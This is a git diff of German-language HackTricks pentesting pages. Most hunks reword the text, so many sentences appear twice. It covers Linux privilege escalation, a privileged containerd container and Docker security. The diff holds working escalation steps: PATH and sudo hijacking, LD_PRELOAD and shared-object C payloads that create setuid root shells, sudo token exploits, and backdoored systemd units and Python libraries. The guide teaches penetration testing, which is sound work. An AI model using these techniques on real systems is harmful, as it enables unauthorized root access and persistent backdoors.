Überprüfen Sie immer die Netzwerkdienste, die auf der Maschine laufen, mit der Sie zuvor nicht interagieren konnten, bevor Sie darauf zugreifen:
Überprüfen Sie immer die Netzwerkdienste, die auf der Maschine ausgeführt werden, mit der Sie zuvor nicht interagieren konnten, bevor Sie darauf zugreifen:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
@ -660,6 +667,7 @@ Einige Linux-Versionen waren von einem Fehler betroffen, der es Benutzern mit **
Überprüfe, ob du **Mitglied einer Gruppe** bist, die dir Root-Rechte gewähren könnte:
{{#ref}}
interesting-groups-linux-pe/
{{#endref}}
@ -694,7 +702,7 @@ Wenn es Ihnen nichts ausmacht, viel Lärm zu machen und die `su`- und `timeout`-
### $PATH
Wenn Sie feststellen, dass Sie **in einen Ordner des $PATH** schreiben können, könnten Sie in der Lage sein, Privilegien zu eskalieren, indem Sie **eine Hintertür im beschreibbaren Ordner** mit dem Namen eines Befehls erstellen, der von einem anderen Benutzer (idealerweise root) ausgeführt wird und der **nicht aus einem Ordner geladen wird, der vor** Ihrem beschreibbaren Ordner im $PATH liegt.
Wenn Sie feststellen, dass Sie **in einen Ordner des $PATH** **schreiben können**, könnten Sie in der Lage sein, Privilegien zu eskalieren, indem Sie **eine Hintertür im beschreibbaren Ordner** mit dem Namen eines Befehls erstellen, der von einem anderen Benutzer (idealerweise root) ausgeführt wird und der **nicht aus einem Ordner geladen wird, der vor** Ihrem beschreibbaren Ordner im $PATH liegt.
### SUDO und SUID
@ -757,7 +765,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
### Sudo-Befehl/SUID-Binärdatei ohne Befehls-Pfad
Wenn die **sudo-Berechtigung** für einen einzelnen Befehl **ohne Angabe des Pfades** erteilt wird: _hacker10 ALL= (root) less_, kannst du dies ausnutzen, indem du die PATH-Variable änderst.
Wenn die **sudo-Berechtigung** für einen einzelnen Befehl **ohne Angabe des Pfades** gewährt wird: _hacker10 ALL= (root) less_, kannst du dies ausnutzen, indem du die PATH-Variable änderst.
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
@ -769,7 +777,7 @@ Diese Technik kann auch verwendet werden, wenn eine **suid**-Binärdatei **einen
### SUID-Binärdatei mit Befehls-Pfad
Wenn die **suid**-Binärdatei **einen anderen Befehl unter Angabe des Pfades ausführt**, können Sie versuchen, eine **Funktion zu exportieren**, die den Namen des Befehls trägt, den die suid-Datei aufruft.
Wenn die **suid**-Binärdatei **einen anderen Befehl unter Angabe des Pfades ausführt**, können Sie versuchen, eine **Funktion** zu exportieren, die den Namen des Befehls trägt, den die suid-Datei aufruft.
Zum Beispiel, wenn eine suid-Binärdatei _**/usr/sbin/service apache2 start**_ aufruft, müssen Sie versuchen, die Funktion zu erstellen und sie zu exportieren:
```bash
@ -784,10 +792,10 @@ Die **LD_PRELOAD**-Umgebungsvariable wird verwendet, um eine oder mehrere gemein
Um jedoch die Systemsicherheit aufrechtzuerhalten und zu verhindern, dass diese Funktion ausgenutzt wird, insbesondere bei **suid/sgid**-Ausführungen, setzt das System bestimmte Bedingungen durch:
- Der Loader ignoriert **LD_PRELOAD** für ausführbare Dateien, bei denen die echte Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt.
- Für ausführbare Dateien mit suid/sgid werden nur Bibliotheken in Standardpfaden, die ebenfalls suid/sgid sind, vorab geladen.
- Der Loader ignoriert **LD_PRELOAD** für Ausführungen, bei denen die echte Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt.
- Für Ausführungen mit suid/sgid werden nur Bibliotheken in Standardpfaden, die ebenfalls suid/sgid sind, vorab geladen.
Eine Privilegieneskalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Aussage **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration ermöglicht es, dass die **LD_PRELOAD**-Umgebungsvariable bestehen bleibt und erkannt wird, selbst wenn Befehle mit `sudo` ausgeführt werden, was potenziell zur Ausführung von beliebigem Code mit erhöhten Rechten führen kann.
Eine Privilegieneskalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Aussage **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration ermöglicht es, dass die **LD_PRELOAD**-Umgebungsvariable bestehen bleibt und auch erkannt wird, wenn Befehle mit `sudo` ausgeführt werden, was potenziell zur Ausführung beliebigen Codes mit erhöhten Rechten führen kann.
```
Defaults env_keep += LD_PRELOAD
```
@ -809,12 +817,12 @@ Dann **kompiliere es** mit:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
Schließlich, **Privilegien eskalieren** durch Ausführen
Schließlich **erhöhen Sie die Berechtigungen** durch Ausführung
```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
> [!CAUTION]
> Eine ähnliche Privilegieneskalation kann ausgenutzt werden, wenn der Angreifer die **LD_LIBRARY_PATH**-Umgebungsvariable kontrolliert, da er den Pfad kontrolliert, in dem nach Bibliotheken gesucht wird.
> Ein ähnlicher Privilegienausstieg kann ausgenutzt werden, wenn der Angreifer die **LD_LIBRARY_PATH**-Umgebungsvariable kontrolliert, da er den Pfad kontrolliert, in dem nach Bibliotheken gesucht wird.
```c
#include <stdio.h>
#include <stdlib.h>
@ -842,7 +850,7 @@ strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
Zum Beispiel deutet das Auftreten eines Fehlers wie _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ auf ein potenzielles Exploitationsrisiko hin.
Um dies auszunutzen, würde man fortfahren, indem man eine C-Datei erstellt, sagen wir _"/path/to/.config/libcalc.c"_, die den folgenden Code enthält:
Um dies auszunutzen, würde man fortfahren, eine C-Datei zu erstellen, sagen wir _"/path/to/.config/libcalc.c"_, die den folgenden Code enthält:
```c
#include <stdio.h>
#include <stdlib.h>
@ -853,7 +861,7 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
Dieser Code zielt darauf ab, die Berechtigungen zu erhöhen, indem er die Dateiberechtigungen manipuliert und eine Shell mit erhöhten Berechtigungen ausführt, sobald er kompiliert und ausgeführt wird.
Dieser Code zielt darauf ab, die Berechtigungen zu erhöhen, indem er die Dateiberechtigungen manipuliert und eine Shell mit erhöhten Rechten ausführt, sobald er kompiliert und ausgeführt wird.
Kompilieren Sie die obige C-Datei in eine Shared Object (.so) Datei mit:
```bash
@ -884,7 +892,7 @@ setresuid(0,0,0);
system("/bin/bash -p");
}
```
Wenn Sie einen Fehler erhalten wie
Wenn Sie einen Fehler wie
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
@ -901,10 +909,12 @@ Das Projekt sammelt legitime Funktionen von Unix-Binärdateien, die missbraucht
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{{#ref}}
https://gtfoargs.github.io/
{{#endref}}
@ -926,7 +936,7 @@ Anforderungen zur Eskalation von Privilegien:
(Sie können `ptrace_scope` vorübergehend mit `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` aktivieren oder dauerhaft `/etc/sysctl.d/10-ptrace.conf` ändern und `kernel.yama.ptrace_scope = 0` setzen)
Wenn alle diese Anforderungen erfüllt sind, **können Sie Privilegien eskalieren mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
Wenn alle diese Anforderungen erfüllt sind, **können Sie Privilegien mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) eskalieren.
- Der **erste Exploit** (`exploit.sh`) erstellt die Binärdatei `activate_sudo_token` in _/tmp_. Sie können es verwenden, um **das sudo-Token in Ihrer Sitzung zu aktivieren** (Sie erhalten nicht automatisch eine Root-Shell, führen Sie `sudo su` aus):
```bash
@ -934,7 +944,7 @@ bash exploit.sh
/tmp/activate_sudo_token
sudo su
```
- Der **zweite Exploit** (`exploit_v2.sh`) wird eine sh-Shell in _/tmp_ **erstellen, die von root mit setuid besessen wird**
- Der **zweite Exploit** (`exploit_v2.sh`) erstellt eine sh-Shell in _/tmp_, **die von root mit setuid besessen wird**.
```bash
bash exploit_v2.sh
/tmp/sh -p
@ -944,10 +954,10 @@ bash exploit_v2.sh
bash exploit_v3.sh
sudo su
```
### /var/run/sudo/ts/\<Username>
### /var/run/sudo/ts/\<Benutzername>
Wenn Sie **Schreibberechtigungen** im Ordner oder auf einer der darin erstellten Dateien haben, können Sie die Binärdatei [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um **ein sudo-Token für einen Benutzer und PID zu erstellen**.\
Wenn Sie beispielsweise die Datei _/var/run/sudo/ts/sampleuser_ überschreiben können und Sie eine Shell als dieser Benutzer mit PID 1234 haben, können Sie **sudo-Rechte erhalten**, ohne das Passwort wissen zu müssen, indem Sie:
Zum Beispiel, wenn Sie die Datei _/var/run/sudo/ts/sampleuser_ überschreiben können und Sie eine Shell als dieser Benutzer mit PID 1234 haben, können Sie **sudo-Rechte erhalten**, ohne das Passwort wissen zu müssen, indem Sie:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```
@ -979,11 +989,11 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
Wenn Sie wissen, dass ein **Benutzer normalerweise eine Verbindung zu einer Maschine herstellt und `sudo`** verwendet, um Berechtigungen zu eskalieren, und Sie haben eine Shell im Kontext dieses Benutzers erhalten, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root ausführt und dann den Befehl des Benutzers. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird.
Wenn Sie wissen, dass ein **Benutzer normalerweise eine Verbindung zu einer Maschine herstellt und `sudo`** verwendet, um Berechtigungen zu eskalieren, und Sie haben eine Shell im Kontext dieses Benutzers erhalten, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root und dann den Befehl des Benutzers ausführt. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird.
Beachten Sie, dass Sie, wenn der Benutzer eine andere Shell (nicht bash) verwendet, andere Dateien ändern müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) ändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Sie können ein weiteres Beispiel in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) finden.
Oder etwas wie:
Oder etwas wie ausführen:
```bash
cat >/tmp/sudo <<EOF
#!/bin/bash
@ -1009,6 +1019,7 @@ Das bedeutet, dass die Konfigurationsdateien aus `/etc/ld.so.conf.d/*.conf` gele
Wenn aus irgendeinem Grund **ein Benutzer Schreibberechtigungen** für einen der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, eine Datei innerhalb von `/etc/ld.so.conf.d/` oder einen Ordner innerhalb der Konfigurationsdatei in `/etc/ld.so.conf.d/*.conf`, könnte er in der Lage sein, Privilegien zu eskalieren.\
Schau dir an, **wie man diese Fehlkonfiguration ausnutzen kann** auf der folgenden Seite:
{{#ref}}
ld.so.conf-example.md
{{#endref}}
@ -1048,7 +1059,7 @@ execve(file,argv,0);
```
## Fähigkeiten
Linux-Fähigkeiten bieten eine **Teilmenge der verfügbaren Root-Rechte für einen Prozess**. Dies zerlegt effektiv die Root-**Rechte in kleinere und unterscheidbare Einheiten**. Jede dieser Einheiten kann dann unabhängig Prozessen gewährt werden. Auf diese Weise wird das gesamte Set an Rechten reduziert, was die Risiken einer Ausnutzung verringert.\
Linux-Fähigkeiten bieten eine **Teilmenge der verfügbaren Root-Rechte für einen Prozess**. Dies zerlegt effektiv die Root-**Rechte in kleinere und unterscheidbare Einheiten**. Jede dieser Einheiten kann dann unabhängig an Prozesse vergeben werden. Auf diese Weise wird die vollständige Menge an Rechten reduziert, was die Risiken einer Ausnutzung verringert.\
Lesen Sie die folgende Seite, um **mehr über Fähigkeiten und deren Missbrauch zu erfahren**:
{{#ref}}
@ -1124,7 +1135,7 @@ Check **Valentine box from HTB** for an example.
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
Alle SSL- und SSH-Schlüssel, die auf Debian-basierten Systemen (Ubuntu, Kubuntu usw.) zwischen September 2006 und dem 13. Mai 2008 generiert wurden, könnten von diesem Fehler betroffen sein.\
Dieser Fehler tritt auf, wenn ein neuer SSH-Schlüssel in diesen Betriebssystemen erstellt wird, da **nur 32.768 Variationen möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und **wenn man den SSH-Öffentlichen Schlüssel hat, kann man nach dem entsprechenden privaten Schlüssel suchen**. Die berechneten Möglichkeiten finden Sie hier: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
Dieser Fehler tritt auf, wenn ein neuer SSH-Schlüssel in diesen Betriebssystemen erstellt wird, da **nur 32.768 Variationen möglich waren**. Das bedeutet, dass alle Möglichkeiten berechnet werden können und **wenn Sie den SSH-Öffentlichen Schlüssel haben, können Sie nach dem entsprechenden privaten Schlüssel suchen**. Die berechneten Möglichkeiten finden Sie hier: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Interessante Konfigurationswerte
@ -1165,6 +1176,7 @@ Die Datei `/etc/sshd_config` kann das Weiterleiten des ssh-agents mit dem Schlü
Wenn Sie feststellen, dass das Forward Agent in einer Umgebung konfiguriert ist, lesen Sie die folgende Seite, da **Sie möglicherweise in der Lage sind, es auszunutzen, um Privilegien zu eskalieren**:
{{#ref}}
ssh-forward-agent-exploitation.md
{{#endref}}
@ -1221,7 +1233,7 @@ Sie sollten überprüfen, ob Sie **in einige sensible Dateien schreiben können*
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
Wenn die Maschine beispielsweise einen **tomcat**-Server ausführt und Sie **die Tomcat-Dienstkonfigurationsdatei in /etc/systemd/ ändern können,** dann können Sie die Zeilen ändern:
Wenn die Maschine beispielsweise einen **tomcat**-Server ausführt und Sie die **Tomcat-Dienstkonfigurationsdatei in /etc/systemd/** ändern können, dann können Sie die Zeilen ändern:
```
ExecStart=/path/to/backdoor
User=root
@ -1235,7 +1247,7 @@ Die folgenden Ordner können Backups oder interessante Informationen enthalten:
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
### Seltsame Orte/Besitzdateien
### Seltsame Orte/Besitzene Dateien
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
@ -1292,7 +1304,7 @@ Lesen Sie den Code von [**linPEAS**](https://github.com/carlospolop/privilege-es
### Protokolle
Wenn Sie Protokolle lesen können, könnten Sie **interessante/vertrauliche Informationen darin finden**. Je seltsamer das Protokoll ist, desto interessanter wird es sein (wahrscheinlich).\
Außerdem könnten einige "**schlecht**" konfigurierte (backdoored?) **Audit-Protokolle** es Ihnen ermöglichen, **Passwörter** in den Audit-Protokollen aufzuzeichnen, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
Außerdem könnten einige "**schlecht**" konfigurierte (backdoored?) **Audit-Protokolle** es Ihnen ermöglichen, **Passwörter** in Audit-Protokollen aufzuzeichnen, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1319,7 +1331,7 @@ Ich werde hier nicht auflisten, wie man all dies macht, aber wenn Sie interessie
### Python library hijacking
Wenn Sie wissen, **woher** ein Python-Skript ausgeführt wird und Sie **in diesen Ordner schreiben können** oder **Python-Bibliotheken modifizieren können**, können Sie die OS-Bibliothek modifizieren und einen Backdoor einfügen (wenn Sie schreiben können, wo das Python-Skript ausgeführt wird, kopieren und fügen Sie die os.py-Bibliothek ein).
Wenn Sie wissen, **woher** ein Python-Skript ausgeführt wird und Sie **in diesem Ordner schreiben können** oder **Python-Bibliotheken modifizieren können**, können Sie die OS-Bibliothek modifizieren und einen Backdoor einfügen (wenn Sie schreiben können, wo das Python-Skript ausgeführt wird, kopieren und fügen Sie die os.py-Bibliothek ein).
Um **die Bibliothek zu backdooren**, fügen Sie einfach am Ende der os.py-Bibliothek die folgende Zeile hinzu (ändern Sie IP und PORT):
```python
@ -1336,15 +1348,15 @@ Detailliertere Informationen über die Schwachstelle finden Sie auf dieser Seite
Sie können diese Schwachstelle mit [**logrotten**](https://github.com/whotwagner/logrotten) ausnutzen.
Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx-Logs),** also überprüfen Sie immer, ob Sie Protokolle ändern können, wer diese Protokolle verwaltet und ob Sie die Berechtigungen erhöhen können, indem Sie die Protokolle durch Symlinks ersetzen.
Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx-Protokolle),** also überprüfen Sie immer, ob Sie Protokolle ändern können, wer diese Protokolle verwaltet und ob Sie die Berechtigungen erhöhen können, indem Sie die Protokolle durch Symlinks ersetzen.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
**Schwachstellenreferenz:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
Wenn ein Benutzer aus irgendeinem Grund in der Lage ist, ein `ifcf-<whatever>`-Skript in _/etc/sysconfig/network-scripts_ **oder** ein bestehendes Skript **anzupassen**, dann ist Ihr **System kompromittiert**.
Wenn ein Benutzer aus irgendeinem Grund in der Lage ist, ein `ifcf-<whatever>`-Skript nach _/etc/sysconfig/network-scripts_ **zu schreiben** **oder** ein vorhandenes **anzupassen**, dann ist Ihr **System kompromittiert**.
Netzwerkskripte, wie _ifcg-eth0_, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch \~sourced\~ auf Linux durch den Network Manager (dispatcher.d).
Netzwerkskripte, _ifcg-eth0_ zum Beispiel, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch \~sourced\~ auf Linux durch den Network Manager (dispatcher.d).
In meinem Fall wird das `NAME=`-Attribut in diesen Netzwerkskripten nicht korrekt behandelt. Wenn Sie **Leerzeichen im Namen haben, versucht das System, den Teil nach dem Leerzeichen auszuführen**. Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**.
@ -1360,7 +1372,7 @@ Das Verzeichnis `/etc/init.d` ist die Heimat von **Skripten** für System V init
Andererseits ist `/etc/init` mit **Upstart** verbunden, einer neueren **Dienstverwaltung**, die von Ubuntu eingeführt wurde und Konfigurationsdateien für Dienstverwaltungsaufgaben verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte weiterhin zusammen mit Upstart-Konfigurationen aufgrund einer Kompatibilitätsschicht in Upstart verwendet.
**systemd** tritt als modernes Initialisierungs- und Dienstverwaltungsprogramm auf und bietet erweiterte Funktionen wie das Starten von Daemons nach Bedarf, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Verteilungspakete und `/etc/systemd/system/` für Administratoränderungen, was den Prozess der Systemadministration optimiert.
**systemd** tritt als modernes Initialisierungs- und Dienstverwaltungssystem auf und bietet erweiterte Funktionen wie das Starten von Daemons nach Bedarf, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Verteilungspakete und `/etc/systemd/system/` für Administratoränderungen, was den Prozess der Systemadministration optimiert.
## Weitere Tricks
@ -1393,7 +1405,7 @@ cisco-vmanage.md
## Linux/Unix Privesc-Tools
### **Das beste Tool zur Suche nach lokalen Privilegieneskalationsvektoren in Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### **Bestes Tool zur Suche nach lokalen Privilegieneskalationsvektoren in Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t Option)\
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
@ -1428,7 +1440,7 @@ cisco-vmanage.md
## Android-Routing-Frameworks: Missbrauch des Manager-Kanals
Android-Routing-Frameworks binden häufig einen Syscall, um privilegierte Kernel-Funktionalitäten einem Userspace-Manager zugänglich zu machen. Schwache Manager-Authentifizierung (z. B. Signaturprüfungen basierend auf FD-Reihenfolge oder schwache Passwortschemata) kann es einer lokalen App ermöglichen, sich als Manager auszugeben und auf bereits gerooteten Geräten zu rooten. Erfahren Sie hier mehr und Details zur Ausnutzung:
Android-Routing-Frameworks binden häufig einen Syscall, um privilegierte Kernel-Funktionalitäten einem Userspace-Manager zugänglich zu machen. Schwache Manager-Authentifizierung (z. B. Signaturprüfungen basierend auf FD-Reihenfolge oder schwache Passwortschemata) können es einer lokalen App ermöglichen, sich als Manager auszugeben und auf bereits gerooteten Geräten zu rooten. Erfahren Sie hier mehr und Details zur Ausnutzung:
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md

View File

@ -2,17 +2,18 @@
{{#include ../../banners/hacktricks-training.md}}
## Grundinformationen
## Grundlegende Informationen
Gehe zu folgendem Link, um zu lernen **was containerd** und `ctr` ist:
{{#ref}}
../../network-services-pentesting/2375-pentesting-docker.md
{{#endref}}
## PE 1
Wenn du feststellst, dass ein Host den `ctr` Befehl enthält:
Wenn du feststellst, dass ein Host den Befehl `ctr` enthält:
```bash
which ctr
/usr/bin/ctr
@ -35,7 +36,7 @@ Sie können einen privilegierten Container wie folgt ausführen:
```bash
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
```
Dann können Sie einige der auf der folgenden Seite genannten Techniken verwenden, um **daraus zu entkommen, indem Sie privilegierte Fähigkeiten ausnutzen**:
Dann können Sie einige der auf der folgenden Seite genannten Techniken verwenden, um **daraus zu entkommen, indem Sie privilegierte Fähigkeiten ausnutzen**:
{{#ref}}
docker-security/

View File

@ -4,7 +4,7 @@
## **Grundlegende Sicherheit des Docker-Engines**
Der **Docker-Engine** verwendet die **Namespaces** und **Cgroups** des Linux-Kernels, um Container zu isolieren, und bietet eine grundlegende Sicherheitsebene. Zusätzlicher Schutz wird durch **Capabilities dropping**, **Seccomp** und **SELinux/AppArmor** bereitgestellt, was die Container-Isolation verbessert. Ein **auth plugin** kann die Benutzeraktionen weiter einschränken.
Der **Docker-Engine** verwendet die **Namespaces** und **Cgroups** des Linux-Kernels, um Container zu isolieren und bietet eine grundlegende Sicherheitsebene. Zusätzlicher Schutz wird durch **Capabilities dropping**, **Seccomp** und **SELinux/AppArmor** bereitgestellt, was die Container-Isolation verbessert. Ein **auth plugin** kann die Benutzeraktionen weiter einschränken.
![Docker-Sicherheit](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
@ -34,13 +34,13 @@ Container-Images können in privaten oder öffentlichen Repositories gespeichert
### Bild-Scanning
Container können **Sicherheitsanfälligkeiten** aufweisen, entweder aufgrund des Basis-Images oder aufgrund der auf dem Basis-Image installierten Software. Docker arbeitet an einem Projekt namens **Nautilus**, das Sicherheits-Scans von Containern durchführt und die Anfälligkeiten auflistet. Nautilus funktioniert, indem es jede Container-Image-Schicht mit einem Anfälligkeitsrepository vergleicht, um Sicherheitslücken zu identifizieren.
Container können **Sicherheitsanfälligkeiten** aufweisen, entweder aufgrund des Basis-Images oder aufgrund der auf dem Basis-Image installierten Software. Docker arbeitet an einem Projekt namens **Nautilus**, das Sicherheits-Scans von Containern durchführt und die Anfälligkeiten auflistet. Nautilus funktioniert, indem es jede Container-Image-Schicht mit einem Anfälligkeits-Repository vergleicht, um Sicherheitslücken zu identifizieren.
Für weitere [**Informationen lesen Sie dies**](https://docs.docker.com/engine/scan/).
- **`docker scan`**
Der **`docker scan`** Befehl ermöglicht es Ihnen, vorhandene Docker-Images anhand des Bildnamens oder der ID zu scannen. Führen Sie beispielsweise den folgenden Befehl aus, um das hello-world-Image zu scannen:
Der **`docker scan`** Befehl ermöglicht es Ihnen, vorhandene Docker-Images anhand des Image-Namens oder der ID zu scannen. Führen Sie beispielsweise den folgenden Befehl aus, um das hello-world-Image zu scannen:
```bash
docker scan hello-world
@ -74,9 +74,9 @@ Docker-Image-Signierung gewährleistet die Sicherheit und Integrität von Bilder
- **Docker Content Trust** nutzt das Notary-Projekt, das auf The Update Framework (TUF) basiert, um die Bildsignierung zu verwalten. Für weitere Informationen siehe [Notary](https://github.com/docker/notary) und [TUF](https://theupdateframework.github.io).
- Um Docker Content Trust zu aktivieren, setze `export DOCKER_CONTENT_TRUST=1`. Diese Funktion ist standardmäßig in Docker-Version 1.10 und höher deaktiviert.
- Mit dieser aktivierten Funktion können nur signierte Bilder heruntergeladen werden. Der erste Bild-Upload erfordert die Festlegung von Passphrasen für die Root- und Tagging-Schlüssel, wobei Docker auch Yubikey zur Verbesserung der Sicherheit unterstützt. Weitere Details sind [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) zu finden.
- Mit aktivierter Funktion können nur signierte Bilder heruntergeladen werden. Der erste Bild-Upload erfordert die Festlegung von Passphrasen für die Root- und Tagging-Schlüssel, wobei Docker auch Yubikey zur Verbesserung der Sicherheit unterstützt. Weitere Details sind [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) zu finden.
- Der Versuch, ein unsigniertes Bild mit aktiviertem Content Trust herunterzuladen, führt zu einem "No trust data for latest"-Fehler.
- Bei Bild-Uploads nach dem ersten Mal fragt Docker nach der Passphrase des Repository-Schlüssels, um das Bild zu signieren.
- Für Bild-Uploads nach dem ersten Mal fragt Docker nach der Passphrase des Repository-Schlüssels, um das Bild zu signieren.
Um deine privaten Schlüssel zu sichern, verwende den Befehl:
```bash
@ -96,13 +96,13 @@ In containerisierten Umgebungen ist die Isolierung von Projekten und deren Proze
**Namespaces**
- **Zweck**: Sicherstellung der Isolation von Ressourcen wie Prozessen, Netzwerk und Dateisystemen. Insbesondere in Docker halten Namespaces die Prozesse eines Containers von dem Host und anderen Containern getrennt.
- **Zweck**: Sicherstellung der Isolation von Ressourcen wie Prozessen, Netzwerken und Dateisystemen. Besonders in Docker halten Namespaces die Prozesse eines Containers von dem Host und anderen Containern getrennt.
- **Verwendung von `unshare`**: Der Befehl `unshare` (oder der zugrunde liegende Syscall) wird verwendet, um neue Namespaces zu erstellen und eine zusätzliche Isolationsschicht bereitzustellen. Während Kubernetes dies nicht grundsätzlich blockiert, tut es Docker.
- **Einschränkung**: Das Erstellen neuer Namespaces erlaubt es einem Prozess nicht, zu den Standard-Namespaces des Hosts zurückzukehren. Um in die Host-Namespaces einzudringen, benötigt man typischerweise Zugriff auf das `/proc`-Verzeichnis des Hosts und verwendet `nsenter` für den Zugang.
**Control Groups (CGroups)**
- **Funktion**: Hauptsächlich zur Zuteilung von Ressourcen unter Prozessen verwendet.
- **Funktion**: Primär verwendet zur Zuteilung von Ressourcen unter Prozessen.
- **Sicherheitsaspekt**: CGroups selbst bieten keine Isolationssicherheit, außer für die Funktion `release_agent`, die, wenn sie falsch konfiguriert ist, potenziell für unbefugten Zugriff ausgenutzt werden könnte.
**Capability Drop**
@ -110,20 +110,20 @@ In containerisierten Umgebungen ist die Isolierung von Projekten und deren Proze
- **Bedeutung**: Es ist ein entscheidendes Sicherheitsmerkmal für die Prozessisolierung.
- **Funktionalität**: Es schränkt die Aktionen ein, die ein Root-Prozess ausführen kann, indem bestimmte Fähigkeiten entzogen werden. Selbst wenn ein Prozess mit Root-Rechten ausgeführt wird, verhindert das Fehlen der erforderlichen Fähigkeiten, dass er privilegierte Aktionen ausführt, da die Syscalls aufgrund unzureichender Berechtigungen fehlschlagen.
Dies sind die **verbleibenden Fähigkeiten**, nachdem der Prozess die anderen entzogen hat:
Dies sind die **verbleibenden Fähigkeiten**, nachdem der Prozess die anderen fallen gelassen hat:
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
**Seccomp**
Es ist standardmäßig in Docker aktiviert. Es hilft, die **Systemaufrufe** weiter zu **beschränken**, die der Prozess aufrufen kann.\
Es ist standardmäßig in Docker aktiviert. Es hilft, **die syscalls**, die der Prozess aufrufen kann, **noch weiter zu beschränken**.\
